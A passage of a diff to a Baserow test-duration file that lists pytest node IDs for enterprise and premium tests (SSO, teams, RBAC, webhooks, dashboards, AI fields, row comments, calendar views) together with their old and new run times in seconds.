"baserow_enterprise_tests/test_registries.py::test_export_serialized_structure_on_database": 0.43823266700019303, - "baserow_enterprise_tests/test_registries.py::test_export_serialized_structure_on_table": 0.47253099999943515, - "baserow_enterprise_tests/test_registries.py::test_import_serialized_structure_on_database": 0.427228834001653, - "baserow_enterprise_tests/test_registries.py::test_import_serialized_structure_on_table": 0.5227748340003018, - "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_created_message_not_leaking": 1.6326145009988977, - "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_deleted_message_not_leaking": 1.6236610840023786, - "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_updated_message_not_leaking": 1.6313283330018749, - "baserow_enterprise_tests/ws/test_database_rbac.py::test_workspace_restored_applications_arent_leaked": 0.46371916600037366, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_new_role_no_access": 0.8696524589995533, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_deleted": 0.5925202510006784, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_no_role": 0.5759003759994812, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_updated": 0.5641628760022286, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_should_still_have_access": 1.6284284600005776, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams": 0.5759228750030161, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_multiple_users": 0.7144461259977106, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_still_connected": 1.5963084590021026, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_when_team_trashed": 0.5751862910001364, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_unrelated_user": 1.7797867509980279, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_user_from_tables_and_rows_when_role_updated": 0.847948250000627, - "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_user_from_tables_and_rows_when_team_trashed": 0.8246189999990747, - "baserow_enterprise_tests/ws/test_table_rbac.py::test_database_restored_tables_not_leaking": 0.6722080420004204, - "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_created_message_not_leaking": 1.6712185010001122, - "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_deleted_message_not_leaking": 1.6397564179987967, - "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_updated_message_not_leaking": 1.6156195020012092, - "baserow_enterprise_tests/ws/test_table_rbac.py::test_workspace_restored_tables_not_leaking": 0.6331502920002094, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_get_user_info_from_authn_user_identity[email-name-]": 0.016856124973855913, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_get_user_info_from_authn_user_identity[email-name-giveName]": 0.01756162499077618, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_get_user_info_from_authn_user_identity[user.email-user.first_name-]": 0.017022874002577737, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_get_user_info_from_authn_user_identity[user.email-user.first_name-user.last_name]": 0.01792004200979136, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_need_valid_email_if_multiple_saml_providers": 0.01830874997540377, + "baserow_enterprise_tests/sso/saml/test_auth_provider_handler.py::test_no_need_for_email_if_single_saml_provider": 0.01662849896820262, + "baserow_enterprise_tests/sso/saml/test_auth_provider_types.py::test_cannot_create_two_saml_providers_for_the_same_domain": 0.09255833298084326, + "baserow_enterprise_tests/sso/saml/test_auth_provider_types.py::test_get_login_options": 0.03265658297459595, + "baserow_enterprise_tests/sso/test_auth_provider_handler.py::test_get_or_create_user_from_sso_user_info": 0.07168729297700338, + "baserow_enterprise_tests/sso/test_sso_utils.py::test_get_valid_front_url": 0.012839415983762592, + "baserow_enterprise_tests/sso/test_sso_utils.py::test_get_valid_front_url_w_params": 5.422160707996227, + "baserow_enterprise_tests/sso/test_sso_utils.py::test_get_valid_front_url_with_defaults": 0.013238956977147609, + "baserow_enterprise_tests/sso/test_sso_utils.py::test_redirect_user_on_success": 0.08745670903590508, + "baserow_enterprise_tests/sso/test_sso_utils.py::test_urlencode_user_tokens": 0.08613449899712577, + "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects": 0.2515120840398595, + "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_raise_on_missing_does_not_exist": 0.11308883305173367, + "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_raise_on_missing_not_workspace_member": 0.26261804200476035, + "baserow_enterprise_tests/teams/test_team_handler.py::test_bulk_create_subjects_specific_pk": 0.10737962598796003, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_by_email": 0.10756354100885801, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_by_id": 0.11227274898556061, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_from_different_workspace_to_team": 0.11428816700936295, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_unknown_subject": 0.11114662498584948, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_unsupported_type": 0.040373583004111424, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_subject_with_unsupported_lookup": 0.1087886240275111, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team": 0.1157019580132328, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team_non_unique_name": 0.11626562499441206, + "baserow_enterprise_tests/teams/test_team_handler.py::test_create_team_with_subjects": 0.11698666700976901, + "baserow_enterprise_tests/teams/test_team_handler.py::test_delete_team": 0.11604137599351816, + "baserow_enterprise_tests/teams/test_team_handler.py::test_list_subjects_in_team": 0.3280512079654727, + "baserow_enterprise_tests/teams/test_team_handler.py::test_list_teams_in_workspace": 0.1272110830177553, + "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team": 0.1259966249926947, + "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team_non_unique_name": 0.12393045803764835, + "baserow_enterprise_tests/teams/test_team_handler.py::test_update_team_subjects": 0.30633300001500174, + "baserow_enterprise_tests/teams/test_team_models.py::test_team_default_role_annotated": 0.12367154299863614, + "baserow_enterprise_tests/teams/test_team_models.py::test_team_default_role_not_annotated": 0.12263270799303427, + "baserow_enterprise_tests/teams/test_team_models.py::test_teamsubject_parent_team_trashable_model_mixin": 0.10622437600977719, + "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_team_does_not_call_receiver_cascade_subject_delete": 0.025811375002376735, + "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_user_cascades_to_teamsubject": 0.11511820901068859, + "baserow_enterprise_tests/teams/test_team_receivers.py::test_delete_workspaceuser_cascades_to_teamsubject": 0.10283516699564643, + "baserow_enterprise_tests/teams/test_team_subject_type.py::test_team_subject_get_users_included_in_subject": 0.1717302510223817, + "baserow_enterprise_tests/teams/test_team_subject_type.py::test_team_subject_type_is_in_workspace": 0.031162833009148017, + "baserow_enterprise_tests/test_registries.py::test_export_serialized_structure_on_database": 0.3628262919955887, + "baserow_enterprise_tests/test_registries.py::test_export_serialized_structure_on_table": 0.3979432090127375, + "baserow_enterprise_tests/test_registries.py::test_import_serialized_structure_on_database": 0.35510266601340845, + "baserow_enterprise_tests/test_registries.py::test_import_serialized_structure_on_table": 0.4318350410030689, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_event_type_test_payload": 0.12409733200911433, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type": 0.13743545798934065, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_called_once_per_view": 0.41521395702147856, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_not_called_without_view": 0.430184499011375, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_not_triggerd_with_include_all_events": 0.38834783298079856, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_only_right_webhook_is_called": 0.4141787489934359, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_paginate_data": 0.4423251660191454, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_event_type_require_enterprise_license": 0.4478347490367014, + "baserow_enterprise_tests/webhooks/test_webhook_event_types.py::test_rows_enter_view_webhook_does_not_trigger_for_events_before_creation": 0.48380191702744924, + "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_created_message_not_leaking": 1.5618215409922414, + "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_deleted_message_not_leaking": 1.5901302080019377, + "baserow_enterprise_tests/ws/test_database_rbac.py::test_database_updated_message_not_leaking": 1.6918139170156792, + "baserow_enterprise_tests/ws/test_database_rbac.py::test_workspace_restored_applications_arent_leaked": 0.3984688329801429, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_new_role_no_access": 0.4055005839909427, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_deleted": 0.4116380429768469, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_no_role": 0.39852429102757014, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_role_updated": 0.40248524901107885, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_should_still_have_access": 1.5360292900004424, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams": 0.41121808299794793, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_multiple_users": 0.5546721670252737, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_still_connected": 1.5401399160036817, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_teams_when_team_trashed": 0.4185601250210311, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_subject_from_table_unrelated_user": 1.5852980840136297, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_user_from_tables_and_rows_when_role_updated": 0.7351075840124395, + "baserow_enterprise_tests/ws/test_role_signals.py::test_unsubscribe_user_from_tables_and_rows_when_team_trashed": 0.720459333009785, + "baserow_enterprise_tests/ws/test_table_rbac.py::test_database_restored_tables_not_leaking": 0.5249300409923308, + "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_created_message_not_leaking": 1.6439237080339808, + "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_deleted_message_not_leaking": 1.616103208012646, + "baserow_enterprise_tests/ws/test_table_rbac.py::test_table_updated_message_not_leaking": 1.63584108298528, + "baserow_enterprise_tests/ws/test_table_rbac.py::test_workspace_restored_tables_not_leaking": 0.5046243329998106, "baserow_premium/admin/dashboard/test_admin_dashboard_handler.py::test_get_active_user_counts": 0.1756854060004116, "baserow_premium/admin/dashboard/test_admin_dashboard_handler.py::test_get_active_users_per_day": 0.16024364099939703, "baserow_premium/admin/dashboard/test_admin_dashboard_handler.py::test_get_new_user_counts": 0.7851162620027026, @@ -773,427 +1250,743 @@ "baserow_premium_tests/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_invalid_sorts_mixed_with_valid_ones": 0.1411972500009142, "baserow_premium_tests/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_no_sorts_provided": 0.14184987599855958, "baserow_premium_tests/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_sort_direction_not_provided": 0.14368383399960294, - "baserow_premium_tests/api/export/test_premium_export_views.py::test_exporting_json_writes_file_to_storage": 0.2420056669989208, - "baserow_premium_tests/api/export/test_premium_export_views.py::test_exporting_xml_writes_file_to_storage": 0.24235029200008285, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_batch_generate_ai_field_value_limit": 2.0426147520001905, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_field_does_not_exist": 0.15969483299977583, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai": 0.16703828999925463, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai_does_not_exist": 0.16877108299922838, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai_model_does_not_belong_to_type": 0.16947533299935458, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_row_does_not_exist": 0.16382012499980192, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_user_not_in_workspace": 0.29280745900086913, - "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_without_license": 0.1589124179999999, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula": 0.1582262100000662, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_generative_ai_does_not_exist": 0.15355395900041913, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_invalid_request": 0.14795320799930778, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_model_does_not_belong_to_type": 0.15182366600038222, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_output_parser_error": 0.37293454200153064, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_table_does_not_exist": 0.14327933300137374, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_user_not_in_workspace": 0.30355479100035154, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_with_error": 0.15384479200019996, - "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_without_license": 0.15227299999969546, - "baserow_premium_tests/api/fields/test_generate_formula_prompt.py::test_if_prompt_contains_all_formula_functions": 0.009051458999238093, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_add_user_to_license": 0.283542916999977, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_check_license": 0.29788674999963405, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_delete_license": 0.28158012599942595, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_delete_user_from_license": 0.2780761659996642, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_fill_users_in_license": 0.27342899999985093, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_get_license": 0.2949411660001715, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_license_user_lookup": 0.4149862510003004, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_list_licenses": 0.829886708000231, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_register_license": 0.3244785410015538, - "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_remove_all_users": 0.27539900099964143, - "baserow_premium_tests/api/row_comments/test_row_comment_trashable_type.py::test_cant_restore_row_comment_before_row": 0.16977137500089157, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_delete_a_row_comment_without_premium_license": 0.1530517930013957, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_blank_row_comment": 0.15303504200073803, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_null_row_comment": 0.15276866800104472, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_row_without_premium_license": 0.1512923750005939, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_update_a_row_comment_without_premium_license": 0.15357262500037905, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_getting_row_comments_executes_fixed_number_of_queries": 0.3274524999997084, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_multiple_users_can_be_mentioned_in_a_comment": 0.4522147910001877, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_delete_a_row_comment": 0.31954312399921037, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_restore_a_trashed_row_comment": 0.3165943759995571, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_see_deleted_row_comment_in_trash": 0.31115841700011515, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_update_a_row_comment": 0.3185953759993936, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_perm_deleting_a_trashed_row_with_comments_cleans_up_the_rows": 0.26757679100046516, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_perm_deleting_a_trashed_table_with_comments_cleans_up_the_rows": 0.2979168759993627, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view": 0.2116875430010623, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view_without_premium_license": 0.1586929599998257, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view_without_premium_license_for_workspace": 0.16239633400073217, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_create_comments_in_invalid_row_in_table": 0.1626088750008421, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_create_comments_in_invalid_table": 0.14199633299995185, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_delete_comments_for_invalid_comment": 0.16068600100061303, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_delete_comments_for_invalid_table": 0.2821438330001911, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_for_invalid_comment": 0.16416729200045665, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_for_invalid_table": 0.15742870699978084, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_with_invalid_text": 0.15110295799968299, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_view_comments_for_invalid_row_in_table": 0.1584814580000966, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_view_comments_for_invalid_table": 0.1414016669996272, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_users_cant_create_comments_for_table_they_are_not_in_workspace_for": 0.31274470900007145, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_users_cant_view_comments_for_table_they_are_not_in_workspace_for": 0.2919569589994353, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_trashing_the_row_returns_404_for_comments": 0.2371458759998859, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_can_be_mentioned_in_message": 0.3330431669992322, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_cannot_update_row_comments_notification_mode_if_data_is_invalid": 0.1755983749999359, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_cant_be_mentioned_in_comments_if_outside_workspace": 0.32700620899959176, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_create_chart_widget": 0.14550874900305644, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_create_chart_widget_default_line": 0.11766654197708704, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_get_widgets_with_chart_widget": 0.14104829201824032, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_update_chart_widget_series_config": 0.15211462503066286, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_update_chart_widget_series_config_invalid_series_id": 0.12817374902078882, + "baserow_premium_tests/api/dashboard/test_chart_widget_type_views.py::test_update_widget_preserve_chart_config": 0.14303100103279576, + "baserow_premium_tests/api/dashboard/test_grouped_aggregate_rows_data_source_type.py::test_grouped_aggregate_rows_dispatch_dashboard_data_source": 0.18885991699062288, + "baserow_premium_tests/api/dashboard/test_grouped_aggregate_rows_data_source_type.py::test_grouped_aggregate_rows_get_dashboard_data_sources": 0.17527158401207998, + "baserow_premium_tests/api/dashboard/test_grouped_aggregate_rows_data_source_type.py::test_grouped_aggregate_rows_update_data_source": 0.19412754196673632, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_create_pie_chart_widget": 0.11924862503656186, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_create_pie_chart_widget_default_pie": 0.12148929201066494, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_get_widgets_with_pie_chart_widget": 0.13557549999677576, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_update_pie_chart_widget_series_config": 0.1483072079718113, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_update_pie_chart_widget_series_config_invalid_series_id": 0.12342995801009238, + "baserow_premium_tests/api/dashboard/test_pie_chart_widget_type_views.py::test_update_pie_widget_preserve_chart_config": 0.1451512910425663, + "baserow_premium_tests/api/export/test_premium_export_views.py::test_exporting_json_writes_file_to_storage": 0.33256587499636225, + "baserow_premium_tests/api/export/test_premium_export_views.py::test_exporting_xml_writes_file_to_storage": 0.3190691249910742, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_batch_generate_ai_field_value_limit": 0.1801616250013467, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_field_does_not_exist": 0.14684262502123602, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai": 0.15703429299173877, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai_does_not_exist": 0.1500672500114888, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_generative_ai_model_does_not_belong_to_type": 0.14536841699737124, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_row_does_not_exist": 0.1608968760119751, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_view_user_not_in_workspace": 0.22217191697563976, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_generate_ai_field_value_without_license": 0.1510746659769211, + "baserow_premium_tests/api/fields/test_ai_field_views.py::test_list_jobs_filter_by_type_and_field_id": 0.18950800099992193, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula": 0.14803029198083095, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_generative_ai_does_not_exist": 0.1311379590188153, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_invalid_request": 0.11905741799273528, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_model_does_not_belong_to_type": 0.1324719589902088, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_output_parser_error": 6.508013416023459, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_table_does_not_exist": 0.09926120797172189, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_user_not_in_workspace": 0.20162095897831023, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_with_error": 0.12940608398639597, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_with_temperature": 0.1423155419761315, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_with_temperature_null": 0.13047041703248397, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_with_temperature_validation": 0.11928633297793567, + "baserow_premium_tests/api/fields/test_formula_field_views.py::test_generate_formula_without_license": 0.1234407490119338, + "baserow_premium_tests/api/fields/test_generate_formula_prompt.py::test_if_prompt_contains_all_formula_functions": 0.013916416995925829, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_add_user_to_license": 0.17016470798989758, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_check_license": 0.22858716701739468, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_delete_license": 0.16627766596502624, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_delete_user_from_license": 0.17347970898845233, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_fill_users_in_license": 0.1741056259488687, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_get_license": 0.19723583399900235, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_license_user_lookup": 0.25656683297711425, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_list_licenses": 0.5140983750170562, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_register_license": 0.25495991596835665, + "baserow_premium_tests/api/license/test_premium_license_views.py::test_admin_remove_all_users": 0.16930979199241847, + "baserow_premium_tests/api/row_comments/test_row_comment_trashable_type.py::test_cant_restore_row_comment_before_row": 0.16589454098721035, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_delete_a_row_comment_without_premium_license": 0.14624870801344514, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_blank_row_comment": 0.1355222490383312, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_null_row_comment": 0.14403783302986994, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_make_a_row_without_premium_license": 0.13917133398354053, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_cant_update_a_row_comment_without_premium_license": 0.1400888330244925, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_getting_row_comments_executes_fixed_number_of_queries": 0.28431762498803437, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_multiple_users_can_be_mentioned_in_a_comment": 0.3486275849863887, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_delete_a_row_comment": 0.2547010000271257, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_restore_a_trashed_row_comment": 0.28270520802470855, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_see_deleted_row_comment_in_trash": 0.2600872930197511, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_only_the_author_can_update_a_row_comment": 0.2534001659951173, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_perm_deleting_a_trashed_row_with_comments_cleans_up_the_rows": 0.2790203749900684, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_perm_deleting_a_trashed_table_with_comments_cleans_up_the_rows": 0.41483512602280825, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view": 0.2311799580056686, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view_without_premium_license": 0.1389157920202706, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_api_view_without_premium_license_for_workspace": 0.15580491596483625, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_create_comments_in_invalid_row_in_table": 0.14766924994182773, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_create_comments_in_invalid_table": 0.09787874898756854, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_delete_comments_for_invalid_comment": 0.15223212499404326, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_delete_comments_for_invalid_table": 0.216148792009335, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_for_invalid_comment": 0.14978087501367554, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_for_invalid_table": 0.14558374902117066, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_update_comments_with_invalid_text": 0.1415969159861561, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_view_comments_for_invalid_row_in_table": 0.13081062398850918, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_cant_view_comments_for_invalid_table": 0.09740762499859557, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_users_cant_create_comments_for_table_they_are_not_in_workspace_for": 0.24751700001070276, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_row_comments_users_cant_view_comments_for_table_they_are_not_in_workspace_for": 0.22418858399032615, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_trashing_the_row_returns_404_for_comments": 0.23546633397927508, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_can_be_mentioned_in_message": 0.27848216699203476, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_cannot_update_row_comments_notification_mode_if_data_is_invalid": 0.16356399998767301, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_cant_be_mentioned_in_comments_if_outside_workspace": 0.2616258750203997, "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_con_be_mentioned_in_message": 0.17346172499992463, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_update_row_comments_notification_mode": 0.17665012499946897, - "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_without_premium_license_cannot_update_row_comments_notification_mode": 0.1595246250017226, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_contents": 0.2697392489999402, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_invalid_references": 0.3369013760002417, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_sharing": 0.34582145900094474, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_no_date_field": 0.32075266700030625, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_can_duplicate_calendar_view_with_date_field": 0.17669924999972864, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_create_calendar_view": 0.20061545800035674, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_create_calendar_view_different_field_types": 5.862470502999713, - 